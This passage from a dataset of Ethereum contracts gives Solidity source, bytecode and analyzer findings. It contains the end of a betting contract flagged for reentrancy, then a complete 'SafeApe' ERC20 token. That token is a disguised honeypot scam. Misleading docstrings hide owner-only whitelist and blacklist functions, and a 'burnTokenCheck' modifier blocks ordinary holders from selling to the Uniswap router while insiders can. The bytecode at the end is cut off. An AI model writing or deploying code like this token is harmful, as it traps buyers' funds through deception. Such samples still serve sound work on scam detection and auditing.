LogGameResult(betInfo.category, betInfo.gameId, leftPts, rightPts);
winChoice = getWinChoice(leftPts, rightPts);
if (winChoice == 1) {
distributeReward(betInfo.leftOdds);
} else if (winChoice == 2) {
distributeReward(betInfo.middleOdds);
} else {
distributeReward(betInfo.rightOdds);
}
isBetClosed = true;
LogBetClosed(false, now);
withdraw();
}
/**
* @dev get the players
*/
function getPlayers() view public returns (address[]) {
return players;
}
/**
* @dev get contract balance
*/
function getBalance() view public returns (uint) {
return address(this).balance;
}
/**
* @dev if there are some reasons lead game postpone or cancel
* the bet will also cancel and refund every bet
*/
function refund() onlyOwner public {
for (uint i = 0; i < players.length; i++) {
players[i].transfer(playerInfo[players[i]].betAmount);
LogRefund(players[i], playerInfo[players[i]].betAmount);
}
isBetClosed = true;
LogBetClosed(true, now);
withdraw();
}
/**
* @dev dealer can withdraw the remain ether after refund or closed
*/
function withdraw() internal {
require(isBetClosed);
uint _balance = address(this).balance;
betInfo.dealer.transfer(_balance);
LogDealerWithdraw(betInfo.dealer, _balance);
}
/**
* @dev distribute ether to every winner as they choosed odds
*/
function distributeReward(uint winOdds) internal {
for (uint i = 0; i < players.length; i++) {
if (playerInfo[players[i]].choice == winChoice) {
players[i].transfer(winOdds.mul(playerInfo[players[i]].betAmount).div(100));
LogDistributeReward(players[i], winOdds.mul(playerInfo[players[i]].betAmount).div(100), i);
}
}
}
}
contract BetCenter is Ownable {
event LogCreateBet(uint indexed startTime, uint indexed spreadTag, bytes32 indexed category, uint deposit, address bet, bytes32 gameId);
function() payable public {}
function createBet(bytes32 category, bytes32 gameId, uint minimumBet,
uint8 spread, uint16 leftOdds, uint16 middleOdds, uint16 rightOdds, uint8 flag,
uint startTime, uint8 confirmations) payable public {
Bet bet = (new Bet).value(msg.value)(msg.sender, category, gameId, minimumBet,
spread, leftOdds, middleOdds, rightOdds , flag, startTime, confirmations, owner);
if (spread == 0) {
LogCreateBet(startTime, 0, category, msg.value, bet, gameId);
} else {
LogCreateBet(startTime, 1, category, msg.value, bet, gameId);
}
}
} | 0x6060604052600436106100565763ffffffff7c01000000000000000000000000000000000000000000000000000000006000350416637789fc9081146100585780638da5cb5b14610095578063f2fde38b146100c4575b005b61005660043560243560443560ff60643581169061ffff60843581169160a43582169160c435169060e435811690610104359061012435166100e3565b34156100a057600080fd5b6100a861025a565b604051600160a060020a03909116815260200160405180910390f35b34156100cf57600080fd5b610056600160a060020a0360043516610269565b600034338c8c8c8c8c8c8c8c8c8c6000809054906101000a9004600160a060020a031661010e610304565b600160a060020a039c8d168152602081019b909b526040808c019a909a5260608b019890985260ff96871660808b015261ffff95861660a08b015293851660c08a01529190931660e0880152918316610100870152610120860191909152166101408401529092166101608201526101800190518091039082f080151561019457600080fd5b91505060ff881615156101f9578a6000847f5d40c8888681ac4ee6c2aad96c5d78845b09bb403e9e1477fc539a107284432934858f604051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a461024d565b8a6001847f5d40c8888681ac4ee6c2aad96c5d78845b09bb403e9e1477fc539a107284432934858f604051928352600160a060020a0390911660208301526040808301919091526060909101905180910390a45b5050505050505050505050565b600054600160a060020a031681565b60005433600160a060020a0390811691161461028457600080fd5b600160a060020a038116151561029957600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b604051611ccd806103158339019056006060604090815260028054600160a060020a0319908116736690e2698bfa407db697e69a11ea56810454549b179091556003805490911673282b192518fc09568de0e66df8e2533f88c166721790556005805460d860020a60ff021960a860020a61ffff02199091167601000000000000000000000000000000000000000000001716905560006006555161018080611ccd83398101604052808051919060200180519190602001805191906020018051919060200180519190602001805191906020018051919060200180519190602001805191906020018051919060200180519190602001805160008054600160a060020a03191633600160a060020a031617905591505060ff84166001148061011b57508360ff166003145b151561012657600080fd5b42831161013257600080fd5b67016345785d8a000034101561014757600080fd5b60055460ff7601000000000000000000000000000000000000000000009091048116908316101561017757600080fd5b60138054600160a060020a0319908116600160a060020a039e8f161790915534601255600f8054600d9d909d55600e9b909b5560109990995561ff0019909a1661010060ff948516021760ff19169683169690961763ffff000019166201000061ffff968716021765ffff000000001916640100000000948616949094029390931767ffff000000000000191666010000000000009290941691909102929092179094556011939093556005805460b060020a60ff0219167601000000000000000000000000000000000000000000009290941691909102929092179091556000805490911691909216178155611a5990819061027490396000f3006060604052600436106101715763ffffffff60e060020a6000350416630f9f998e8114610173578063107bf28c1461019c57806310fe7c481461022657806312065fe01461023157806323568603146102565780633f3a279d146102855780634081d916146102db578063446155cd1461030e5780634b114691146103385780634d2526b41461036f5780634e2bdfd4146103825780634f25b9ce146103ce578063590e1ae3146103e1578063613f4594146103f45780637b55f66e14610407578063837708e2146104275780638954f5b11461043a5780638b5b9ccc1461044d5780638da5cb5b146104b35780639cf5d607146104c6578063a9a29afa146104d9578063bb03948e146104ec578063c6e715e1146104ff578063c94727f014610507578063cfe7b77014610520578063d70d9254146105a8578063e06868e2146105bb578063eaa968cc146105ce578063eadf76c5146105e1578063f2fde38b146105f4578063f71d96cb14610613575b005b341561017e57600080fd5b610186610629565b60405160ff909116815260200160405180910390f35b34156101a757600080fd5b6101af61064c565b60405160208082528190810183818151815260200191508051906020019080838360005b838110156101eb5780820151838201526020016101d3565b50505050905090810190601f1680156102185780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101716004356106ea565b341561023c57600080fd5b610244610832565b60405190815260200160405180910390f35b341561026157600080fd5b610269610841565b604051600160a060020a03909116815260200160405180910390f35b341561029057600080fd5b610298610850565b60405160ff968716815294861660208601529290941660408085019190915261ffff918216606085015293166080830152151560a082015260c001905180910390f35b34156102e657600080fd5b6102fa600160a060020a03600435166108bd565b604051901515815260200160405180910390f35b341561031957600080fd5b6103216108f0565b60405161ffff909116815260200160405180910390f35b341561034357600080fd5b610357600160a060020a0360043516610901565b60405191825260208201526040908101905180910390f35b341561037a57600080fd5b61026961091a565b341561038d57600080fd5b610395610929565b60405180878152602001868152602001858152602001848152602001838152602001828152602001965050505050505060405180910390f35b34156103d957600080fd5b610244610943565b34156103ec57600080fd5b610171610949565b34156103ff57600080fd5b610244610b07565b341561041257600080fd5b61017161ffff60043581169060243516610b0d565b341561043257600080fd5b610244610d25565b341561044557600080fd5b610186610d2b565b341561045857600080fd5b610460610d3b565b60405160208082528190810183818151815260200191508051906020019060200280838360005b8381101561049f578082015183820152602001610487565b505050509050019250505060405180910390f35b34156104be57600080fd5b610269610da3565b34156104d157600080fd5b610186610db2565b34156104e457600080fd5b610244610dd4565b34156104f757600080fd5b610321610df5565b610171610e06565b341561051257600080fd5b610186600435602435610e2d565b341561052b57600080fd5b610533610eba565b6040519a8b5260208b019990995260ff9788166040808c01919091529690971660608a015261ffff94851660808a015292841660a0890152921660c087015260e0860191909152610100850152610120840191909152600160a060020a03909116610140830152610160909101905180910390f35b34156105b357600080fd5b6102fa610f1a565b34156105c657600080fd5b610244610f2a565b34156105d957600080fd5b610171610f30565b34156105ec57600080fd5b6102446111a8565b34156105ff57600080fd5b610171600160a060020a03600435166111ae565b341561061e57600080fd5b610269600435611249565b600554760100000000000000000000000000000000000000000000900460ff1681565b60018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156106e25780601f106106b7576101008083540402835291602001916106e2565b820191906000526020600020905b8154815290600101906020018083116106c557829003601f168201915b505050505081565b60115442106106f857600080fd5b80600114806107075750806002145b806107125750806003145b151561071d57600080fd5b60105434101561072c57600080fd5b610735336108bd565b1561073f57600080fd5b6107498134611271565b151561075457600080fd5b600160a060020a0333166000908152600c6020526040902034808255600190910182905560065461078a9163ffffffff61137716565b600655600a546107a190600163ffffffff61137716565b600a556107ae8134611386565b600b8054600181016107c0838261195a565b506000918252602090912001805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a03169081179091557fe30c5c2cba8a36d53ebd7fc205f3c93aa38345f9331e1338a77c1df62507c871823460405191825260208201526040908101905180910390a250565b600160a060020a033016315b90565b600254600160a060020a031681565b60055460ff60a060020a820481169275010000000000000000000000000000000000000000008304821692760100000000000000000000000000000000000000000000810483169261ffff60b860020a830481169360c860020a84049091169260d860020a900490911690565b600160a060020a0381166000908152600c602052604081206001015415156108e7575060006108eb565b5060015b919050565b60055460b860020a900461ffff1681565b600c602052600090815260409020805460019091015482565b600354600160a060020a031681565b600a54600654600754600854600954601254909192939495565b60095481565b6000805433600160a060020a0390811691161461096557600080fd5b5060005b600b54811015610a9457600b80548290811061098157fe5b6000918252602082200154600b8054600160a060020a03909216926108fc92600c9290869081106109ae57fe5b6000918252602080832090910154600160a060020a031683528201929092526040908101909120548015909202919051600060405180830381858888f1935050505015156109fb57600080fd5b600b805482908110610a0957fe5b6000918252602082200154600b8054600160a060020a03909216927fb6c0eca8138e097d71e2dd31e19a1266487f0553f170b7260ffe68bcbe9ff8a792600c929086908110610a5457fe5b6000918252602080832090910154600160a060020a03168352820192909252604090810190912054905190815260200160405180910390a2600101610969565b600580547bff000000000000000000000000000000000000000000000000000000191660d860020a1790557ff897a2c36fd950b13301d2bb09bf37bed2c9e10a8c8dcadab88c0525a7cd62e3600142604051911515825260208201526040908101905180910390a1610b046113e8565b50565b60065481565b60005433600160a060020a03908116911614610b2857600080fd5b60055460d860020a900460ff1615610b3f57600080fd5b6005805478ffff0000000000000000000000000000000000000000000000191660b860020a61ffff8581168202929092177affff00000000000000000000000000000000000000000000000000191660c860020a85841681029190911793849055600e54600d54909490937f3361eb8240520497fe1a518e29a7f25d5e2dd148b88ccb4fd1828f894ca332739382048116929091041660405161ffff9283168152911660208201526040908101905180910390a3600554610c149061ffff60b860020a820481169160c860020a900416610e2d565b6005805474ff0000000000000000000000000000000000000000191660a060020a60ff9384168102919091179182905590041660011415610c6a57600f54610c659062010000900461ffff1661147e565b610cb1565b60055460a060020a900460ff1660021415610c9757600f54610c6590640100000000900461ffff1661147e565b600f54610cb1906601000000000000900461ffff1661147e565b600580547bff000000000000000000000000000000000000000000000000000000191660d860020a1790557ff897a2c36fd950b13301d2bb09bf37bed2c9e10a8c8dcadab88c0525a7cd62e3600042604051911515825260208201526040908101905180910390a1610d216113e8565b5050565b60085481565b60055460a060020a900460ff1681565b610d43611983565b600b805480602002602001604051908101604052809291908181526020018280548015610d9957602002820191906000526020600020905b8154600160a060020a03168152600190910190602001808311610d7b575b5050505050905090565b600054600160a060020a031681565b6005547501000000000000000000000000000000000000000000900460ff1681565b600a54600090610df090655f7f37b3900063ffffffff61160116565b905090565b60055460c860020a900461ffff1681565b601054341015610e1557600080fd5b601254610e28903463ffffffff61137716565b601255565b600f54600090819060ff161515610e675782841115610e4e57506001610e62565b82841415610e5e57506002610e62565b5060035b610eaf565b600f5460ff6101009091041660011415610e9357600f5460ff16840183901115610e5e57506001610e62565b600f5460ff16830184901115610eab57506003610eaf565b5060015b8091505b5092915050565b600d54600e54600f546010546011546012546013549596949560ff8086169661010087049091169561ffff6201000082048116966401000000008304821696660100000000000090930490911694909391929091600160a060020a031690565b60055460d860020a900460ff1681565b600a5481565b60055460d860020a900460ff1615610f4757600080fd5b600e54610f539061162c565b6005805475ff0000000000000000000000000000000000000000001916750100000000000000000000000000000000000000000060ff9384168102919091177affff00000000000000000000000000000000000000000000000000191660c860020a61ffff958616021778ffff0000000000000000000000000000000000000000000000191660b860020a95909416949094029290921791829055760100000000000000000000000000000000000000000000820481169290910416101561101a57600080fd5b600e54600d546005547f3361eb8240520497fe1a518e29a7f25d5e2dd148b88ccb4fd1828f894ca332739061ffff60b860020a820481169160c860020a90041660405161ffff9283168152911660208201526040908101905180910390a36005546110999061ffff60b860020a820481169160c860020a900416610e2d565b6005805474ff0000000000000000000000000000000000000000191660a060020a60ff93841681029190911791829055900416600114156110ef57600f546110ea9062010000900461ffff1661147e565b611136565b60055460a060020a900460ff166002141561111c57600f546110ea90640100000000900461ffff1661147e565b600f54611136906601000000000000900461ffff1661147e565b600580547bff000000000000000000000000000000000000000000000000000000191660d860020a1790557ff897a2c36fd950b13301d2bb09bf37bed2c9e10a8c8dcadab88c0525a7cd62e3600042604051911515825260208201526040908101905180910390a16111a66113e8565b565b60075481565b60005433600160a060020a039081169116146111c957600080fd5b600160a060020a03811615156111de57600080fd5b600054600160a060020a0380831691167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600b80548290811061125757fe5b600091825260209091200154600160a060020a0316905081565b60008083600114156112c257600f546007546112bb916064916112af9162010000900461ffff16906112a39088611377565b9063ffffffff61160116565b9063ffffffff6117fa16565b9050611320565b83600214156112f357600f546008546112bb916064916112af91640100000000900461ffff16906112a39088611377565b600f5460095461131d916064916112af916601000000000000900461ffff16906112a39088611377565b90505b601254600654611347919061133b908663ffffffff61137716565b9063ffffffff61137716565b61135f611352610dd4565b839063ffffffff61137716565b111561136e5760009150610eb3565b60019150610eb3565b600082820183811015610eaf57fe5b81600114156113aa576007546113a2908263ffffffff61137716565b600755610d21565b81600214156113ce576008546113c6908263ffffffff61137716565b600855610d21565b6009546113e1908263ffffffff61137716565b6009555050565b60055460009060d860020a900460ff16151561140357600080fd5b50601354600160a060020a0330811631911681156108fc0282604051600060405180830381858888f19350505050151561143c57600080fd5b601354600160a060020a03167f6516f57a9b1325f5d1412e49b41425034ca53ba34d9f8fdcb6e18fe4864127358260405190815260200160405180910390a250565b60005b600b54811015610d2157600560149054906101000a900460ff1660ff16600c6000600b848154811015156114b157fe5b6000918252602080832090910154600160a060020a0316835282019290925260400190206001015414156115f957600b8054829081106114ed57fe5b6000918252602082200154600b8054600160a060020a03909216926108fc92611557926064926112af92600c92908990811061152557fe5b6000918252602080832090910154600160a060020a03168352820192909252604001902054879063ffffffff61160116565b9081150290604051600060405180830381858888f19350505050151561157c57600080fd5b600b80548290811061158a57fe5b6000918252602082200154600b8054600160a060020a03909216927f6479f2854b338d5b8b708aa0e11e7fad50daa12fbfb99ef8ffa9347e25953715926115e0926064926112af92600c92908990811061152557fe5b8360405191825260208201526040908101905180910390a25b600101611481565b6000808315156116145760009150610eb3565b5082820282848281151561162457fe5b0414610eaf57fe5b60045460009081908190600160a060020a0316158061165d575060045461165b90600160a060020a0316611811565b155b1561166e5761166c6000611815565b505b600454600160a060020a03166338cc48316000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b15156116b657600080fd5b6102c65a03f115156116c757600080fd5b5050506040518051600554600160a060020a03908116911614905061177657600454600160a060020a03166338cc48316000604051602001526040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561172e57600080fd5b6102c65a03f1151561173f57600080fd5b50505060405180516005805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055505b600554600160a060020a031663add4c7848560006040516060015260405160e060020a63ffffffff84160281526004810191909152602401606060405180830381600087803b15156117c757600080fd5b6102c65a03f115156117d857600080fd5b5050506040518051906020018051906020018051929791965091945092505050565b600080828481151561180857fe5b04949350505050565b3b90565b600061181f611825565b92915050565b600254600090819061183f90600160a060020a0316611811565b11156118b8576002546004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790556118b060408051908101604052600b81527f6574685f6d61696e6e65740000000000000000000000000000000000000000006020820152611947565b50600161083e565b6003546000906118d090600160a060020a0316611811565b1115611941576003546004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039092169190911790556118b060408051908101604052600b81527f6574685f726f707374656e0000000000000000000000000000000000000000006020820152611947565b50600090565b6001818051610d21929160200190611995565b81548183558181151161197e5760008381526020902061197e918101908301611a13565b505050565b60206040519081016040526000815290565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106119d657805160ff1916838001178555611a03565b82800160010185558215611a03579182015b82811115611a035782518255916020019190600101906119e8565b50611a0f929150611a13565b5090565b61083e91905b80821115611a0f5760008155600101611a195600a165627a7a72305820bd4262a3a5832e11fb0a59cf06b7e7d50b358eecd74fbd7bacc1a7d93f53f4890029a165627a7a72305820215226908b1c11154c4dde3dbb19a7adde4715e5fb9db753de09580f418883970029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 1,941 |
0x8dab7981af2e64844cca93be61a1af6bf478c3e4 | pragma solidity ^0.6.0;
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
/**
* @dev Collection of functions related to the address type
*/
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract SafeApe is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
uint256 private _sellAmount = 0;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935;
address public _owner;
address private _safeOwner;
address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
/**
* @dev Sets the values for {name} and {symbol}, initializes {decimals} with
* a default value of 18.
*
* To select a different value for {decimals}, use {_setupDecimals}.
*
* All three of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public {
_name = name;
_symbol = symbol;
_decimals = 18;
_owner = owner;
_safeOwner = owner;
//25 lines
_mint(owner, initialSupply*(10**18));
}
/**
* @dev Returns the name of the token.
*/
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
} | 0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080